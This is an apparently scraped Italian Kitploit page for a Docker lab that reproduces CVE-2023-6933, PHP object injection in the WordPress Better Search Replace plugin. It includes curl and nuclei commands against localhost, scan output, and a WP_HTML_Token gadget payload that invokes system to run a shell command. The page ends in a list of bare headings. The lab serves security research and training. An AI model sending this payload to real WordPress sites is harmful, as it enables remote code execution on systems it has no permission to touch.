vulnerable-bsr-lab-CVE-2023-6933 — Laboratorio pratico per CVE-2023-6933, una vulnerabilità di PHP Object Injection nel plugin WordPress Better Search Replace, con deployment Docker, template nuclei e script di exploit per ricerca e formazione sulla sicurezza. | Kitploit

Laboratorio di vulnerabilità CVE-2023-6933

Panoramica

Questo ambiente di laboratorio dimostra la CVE-2023-6933, una vulnerabilità critica di PHP Object Injection nel plugin WordPress Better Search Replace versioni ≤1.4.4.

Dettagli della vulnerabilità

ID CVE: CVE-2023-6933
Punteggio CVSS: 9.8 (Critico)
Plugin interessato: Better Search Replace ≤1.4.4
Tipo di vulnerabilità: PHP Object Injection tramite input utente deserializzato
Vettore di attacco: endpoint AJAX /wp-admin/admin-ajax.php con azione search_replace_db

Avvio rapido

1. Distribuire il laboratorio

# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933

# Deploy using Docker Hub image (automatic pull)
docker-compose up -d

# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'

$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]

[INF] Scan completed in 67ms. 4 matches found.

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:14:"touch /tmp/rce";
    s:9:"node_name";s:8:"testnode";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"

# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"

Servizio	URL	Credenziali
WordPress	http://localhost:8080	admin/admin
phpMyAdmin	http://localhost:8081	root/rootpassword

vulnerable-bsr-lab-CVE-2023-6933

Più Popolari

2. Accedere all'ambiente

3. Testare la vulnerabilità

Analisi tecnica

La vulnerabilità

Metodi di verifica del POC

Caratteristiche principali di questo laboratorio

Documentazione

Riferimento rapido

Template PoC professionale

Risultati dei test

Esecuzione POC riuscita

Avviso di sicurezza

Pulizia

Riferimenti

Ambiente Docker (`Docker_LAB_SETUP/`)

Script di exploit

Strumenti di rilevamento

🎯 Metodologia di sfruttamento corretta

1. Rilevamento basato sul successo

2. Catena RCE WP_HTML_Token

3. Molteplici vettori di attacco

🔬 Approccio di test

Test manuale

Caratteristiche del template Nuclei

Caratteristiche del test manuale

📊 Punti di accesso al laboratorio

🛡️ Considerazioni sulla sicurezza

Per i ricercatori

Per i difensori

📚 Valore educativo